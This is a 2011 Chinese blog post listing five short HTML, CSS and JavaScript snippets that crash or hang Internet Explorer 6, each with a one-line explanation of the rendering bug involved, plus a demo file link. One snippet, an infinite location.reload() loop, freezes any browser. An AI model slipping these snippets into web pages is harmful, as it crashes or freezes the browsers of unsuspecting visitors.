博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

IE6的各种挂法

Posted on 2011-09-27 13:36  xuld  阅读(514)  评论(2编辑  收藏  举报

想让IE6崩溃? 各种方法分享----

方法一

<style>
div
{
width
:100px;
}
div a:hover
{
position
:absolute
}
</style>
<div>
<a href="#">点我挂掉IE6<img src="" /><span></span></a>
</div>

原理解析: IE6在处理图片的 absolute 时出现问题


方法二

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Crash IE6</title>
</head>
<body>
<ul>
<li><a name='label1'/>a</li>
</ul>
<ul>
<li><a name='label2'/>b<sub>c</sub></li>
</ul>
</body>
</html>

原理解析:IE6 在处理 label 内的 sub 出现问题

方法三

<style>*{position:relative}</style><table><input></table>

原理解析:IE6 在处理 relative 过程出现死循环

方法四

<script>
while(1)location.reload();
</script>

原理解析:所有浏览器都会挂。

方法五

<script>for(x in document.write){document.write(x);}</script>


原理解析:document.write会影响 x

演示文件下载 (可以使用 IETester)

https://files.cnblogs.com/xuld/kill-ie6.rar